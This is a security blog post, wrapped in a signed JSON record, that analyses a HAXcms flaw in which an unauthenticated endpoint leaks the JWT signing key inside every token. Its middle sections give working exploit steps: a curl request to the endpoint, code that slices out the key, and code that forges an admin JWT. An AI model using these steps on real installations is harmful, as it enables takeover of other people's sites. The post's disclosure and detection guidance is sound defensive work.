-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The function name describes the patch, not the code it replaced\n\nThe npm package is `@haxtheweb/haxcms-nodejs`, the Node.js backend for HAXcms, the open-source CMS maintained by the HAXtheweb project at Penn State. The advisory for CVE-2026-46395 ([GHSA-6c8g-9hfh-pq5h](https://github.com/advisories/GHSA-6c8g-9hfh-pq5h)) names the vulnerable function as `hmacBase64` in `src/lib/HAXCMS.js` and the patched version as `26.0.0`. The diff between `v25.0.0` and `26.0.0`, scoped to that single function, is the entire story.\n\n```diff\n hmacBase64(data, key)\n {\n- var buf1 = crypto.createHmac(\"sha256\", \"0\").update(data).digest();\n- var buf2 = Buffer.from(key);\n- // generate the hash\n- return Buffer.concat([buf1, buf2]).toString('base64').replace(/\\+/g, '-').replace(/\\//g, '_').replace(/=+$/, '');\n+ return crypto\n+ .createHmac('sha256', key)\n+ .update(data)\n+ .digest('base64')\n+ .replace(/\\+/g, '-')\n+ .replace(/\\//g, '_')\n+ .replace(/=+$/, '');\n }\n```\n\nThe four red lines, read in order, encode two independent errors moving in opposite directions. The first line passes the literal string `\"0\"` to `createHmac` as the key. The `key` parameter does not appear. The HMAC computed is `HMAC_SHA256(\"0\", data)`, a function of `data` alone. Every HAXcms instance on the internet that calls this function with the same `data` value computes the same 32 bytes. The second line wraps the real `key` parameter in a `Buffer`. The fourth line concatenates the two buffers and base64url-encodes the result. The comment on the third line, `// generate the hash`, names what the function is supposed to be doing. The implementation under the comment is doing something else.\n\nThe patched version removes the constant `\"0\"`, removes the `Buffer.from(key)`, removes the concatenation, and lets `createHmac(key)` do its job. The fix is to compute an HMAC. Before the fix, the function was not computing an HMAC. It was computing a constant-keyed digest of `data` and then publishing `key` next to it.\n\n## The key in the back half is the JWT signing key\n\n`hmacBase64` is private to the class. There is one wrapper that calls it:\n\n```javascript\ngetRequestToken(value = '')\n{\n return this.hmacBase64(value, this.privateKey + this.salt);\n}\n```\n\nTwo attributes are read on every call. `this.privateKey` is loaded from a file called `.pk` in the HAXcms config directory. `this.salt` is loaded from `SALT.txt`. The init code populates them once, on the first server start when those files do not exist:\n\n```javascript\nthis.privateKey = uuidv4();\nfs.writeFileSync(path.join(this.configDirectory, \".pk\"), this.privateKey);\n...\nthis.salt = uuidv4();\nfs.writeFileSync(path.join(this.configDirectory, \"SALT.txt\"), this.salt);\n```\n\nEach value is a UUID v4 string, 36 ASCII characters. Concatenated, `this.privateKey + this.salt` is 72 bytes of UTF-8. Both files are written once and never rotated. Nothing in the HAXcms codebase calls any rotation routine on either path.\n\nThe same concatenation signs every JWT the server issues:\n\n```javascript\ngetJWT(name = null)\n{\n let token = {};\n token['id'] = this.getRequestToken('user');\n ...\n return JWT.sign(token, this.privateKey + this.salt);\n}\n```\n\nAnd verifies every JWT the server checks:\n\n```javascript\ndecodeJWT(key) {\n try {\n return JWT.verify(key, this.privateKey + this.salt);\n }\n catch (e) {\n return false;\n }\n}\n```\n\nThe string in the back half of every token `hmacBase64` returns is the symmetric secret HAXcms uses to sign and verify session tokens. Recovery of that string is recovery of the authority to sign any session, as any user, including the configured super-user. The CMS's authentication model collapses to whoever has read a single `hmacBase64` output.\n\n## The endpoint that publishes the tokens does not require a session\n\n`/system/api/connectionSettings` is a bootstrap endpoint. Every HAXcms page fetches it without a session, by design. The route map names it in the allowlist of routes that bypass JWT validation, with a comment that says exactly that:\n\n```javascript\n// these routes need to return a response without a JWT validation\nconst OpenRoutes = [\n 'generateAppStore',\n 'connectionSettings',\n 'getSitesList',\n 'getSkeleton',\n 'login',\n ...\n];\n```\n\nThe handler emits a JavaScript file that the page evaluates as its runtime config. Inside that file, five distinct `getRequestToken` calls populate five fields:\n\n```javascript\nconst siteToken = HAXCMS.getRequestToken(HAXCMS.getActiveUserName() + ':' + sitename);\nconst userToken = HAXCMS.getRequestToken(HAXCMS.getActiveUserName());\nconst returnData = JSON.stringify({\n token: HAXCMS.getRequestToken(),\n ...\n getFormToken: HAXCMS.getRequestToken('form'),\n ...\n appStore: {\n ...\n params: {\n 'appstore_token': HAXCMS.getRequestToken('appstore'),\n ...\n }\n },\n ...\n});\n```\n\nThe five distinct values (`token`, `siteToken`, `userToken`, `getFormToken`, `appstore_token`) each carry the same 72-byte tail. The full request to extract the key is a single GET against any HAXcms install on `≤ 25.0.0`:\n\n```bash\ncurl -s https://target.example.com/system/api/connectionSettings\n```\n\nPull the `token` field, base64url-decode it, slice off the first 32 bytes, read the remainder as UTF-8:\n\n```javascript\nconst tokenField = \"\";\nconst buf = Buffer.from(tokenField, 'base64url');\nconst recovered = buf.slice(32).toString('utf8');\n// recovered is privateKey + salt, 72 chars of UUID material\n```\n\nThe 32-byte prefix is `HMAC_SHA256(\"0\", data)`. Because `data` is `\"\"` for the bare `token` field and the key is the constant `\"0\"`, the prefix is the same on every vulnerable HAXcms instance. A scanner does not need to inspect or decode anything more than the first 32 bytes to confirm a target is vulnerable. The detection signature is a single 32-byte constant computed once, offline.\n\nWith the 72-byte key in hand, forging an admin JWT is one call into `jsonwebtoken`:\n\n```javascript\nconst jwt = require('jsonwebtoken');\nconst now = Math.floor(Date.now() / 1000);\nconst adminJwt = jwt.sign(\n {\n id: '',\n user: '',\n iat: now,\n exp: now + 900,\n },\n recovered,\n { algorithm: 'HS256' }\n);\n```\n\nThe `id` claim that `decodeJWT` is checked against on authenticated paths comes from `getRequestToken('user')`. The attacker reproduces the vulnerable `hmacBase64` formula locally (HMAC over the constant `\"0\"`, concatenated with the recovered key, base64url-encoded) and sets that string as `id`. The server verifies the JWT signature with `privateKey + salt`, the signature matches, the `id` matches what the server's own `getRequestToken('user')` would produce, and the request authenticates. From there, the attacker has authority over every write-side handler in the routes map: `saveNode`, `saveManifest`, `saveOutline`, `createNode`, `copySite`, `archiveSite`, and the rest. HAXcms is a CMS. Admin authority is the goal of authentication; the bootstrap endpoint is publishing the key that authenticates it.\n\n## The visible side effect of the patch is shorter tokens\n\nThe HMAC output is always 32 bytes. The `privateKey + salt` is always 72 bytes, two concatenated UUID v4 strings, all ASCII. Base64url encoding of `32 + 72 = 104` bytes produces a 139-character string after the trailing `=` is stripped. Base64url encoding of the patched function's 32-byte HMAC produces a 43-character string after the same strip.\n\nToken length is the indicator. Any HAXcms instance still emitting 139-character tokens on `/system/api/connectionSettings` is publishing its JWT signing key on every page load. Any instance emitting 43-character tokens is on `26.0.0` or has the fix backported. Defenders auditing HAXcms deployments can grep their access logs for the route and the response body for the length of the `token` field. Two numbers, 139 and 43, separate the vulnerable from the patched.\n\nThe UUIDs in `.pk` and `SALT.txt` are not rotated by the patch. Upgrading to `26.0.0` stops the leak going forward; it does not invalidate any key already harvested. Every browser session of every HAXcms site running `≤ 25.0.0` fetched `/system/api/connectionSettings` and rendered the five tokens into the document the browser parsed. Every proxy log, every browser extension, every shared-device cache, every third-party analytics request that observed any of those page loads holds a copy of the JWT signing key. Operators upgrading to `26.0.0` who want to close CVE-2026-46395 rather than stop bleeding it need to delete `.pk` and `SALT.txt` before the next server start; the init code creates fresh UUIDs when both files are missing. The advisory says \"patched in 26.0.0.\" That is true for keys generated after the upgrade. For the existing keys, the only mitigation is rotation, and the only rotation mechanism HAXcms ships is the absence of those files at startup.\n\n## Key in the output\n\nThe shape this CVE exhibits has a name. A cryptographic helper takes a key parameter, substitutes a hardcoded constant for it in the operation the function claims to perform, then concatenates the real key onto the result as raw bytes before encoding. Two errors in opposite directions compose into a single primitive that publishes the secret it was supposed to bind. The key is not in the operation. The key is in the output.\n\nEither error alone would have been milder. If only the literal `\"0\"` were the key, every HAXcms instance would compute identical, forgeable HMACs for the same input, but the secret stored in `.pk` and `SALT.txt` would stay on disk. If only the concatenation were present (with the real key actually used in `createHmac`), the bug would leak the key clumsily, but the 32-byte prefix would vary per instance and a scanner would have to recover and verify the key before claiming a hit. The combination is what made the bug a network-readable oracle: a constant 32-byte prefix attackers verify offline, followed by a 72-byte tail every attacker recovers in one slice.\n\nThe comment in the vulnerable function, `// generate the hash`, is testimony that the author understood what the function was for. The implementation under the comment is the bug. Code review against the comment would have caught it. Code review against the function name would have caught it. The function shipped past both.\n\nPoC and full disclosure: [GHSA-6c8g-9hfh-pq5h](https://github.com/advisories/GHSA-6c8g-9hfh-pq5h)","closing_line":"The patch makes `hmacBase64` compute an HMAC. Before the patch, it computed something the network was not allowed to see.","hook_md":"HAXcms 25.0.0 ships a function called `hmacBase64`. The signature is `(data, key)`. The function name describes an operation. The implementation does something else. It calls `crypto.createHmac(\"sha256\", \"0\")` with the literal string `\"0\"` as the key, ignoring the key parameter entirely, then concatenates the real key onto the 32-byte HMAC output and base64url-encodes the result. Every value the function returns has the structure `HMAC_SHA256(\"0\", data) || key`, in that order, with the key as raw UTF-8 bytes. The only place the function is called is `getRequestToken`, which passes `this.privateKey + this.salt` as the key. The unauthenticated bootstrap endpoint every HAXcms browser session fetches, `/system/api/connectionSettings`, returns five distinct tokens built from that function. The JWT signing key sits in the back half of every one. The CVE on file is CVE-2026-46395.","post_id":426,"slug":"haxcms-cve-2026-46395-the-key-is-the-back-half-of-the-token","title":"CVE-2026-46395: HAXcms's hmacBase64 Concatenates The JWT Signing Key Onto Every Token It Returns","type":"initial","unreadable_sentence":"The function's name promises one thing. The function's return value carries the secret it refused to use."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCal5gqgAKCRDeZjl4jgkQ Jsf9AQC0eftbINEYDOgzyVzVV/ruev3/1Jr8ZIdtAtAxqEfZngEAvKOoefE/KWNx Ss+D1tt9QYcWZWLTYp4V3VT33d64fAw= =1S4g -----END PGP SIGNATURE-----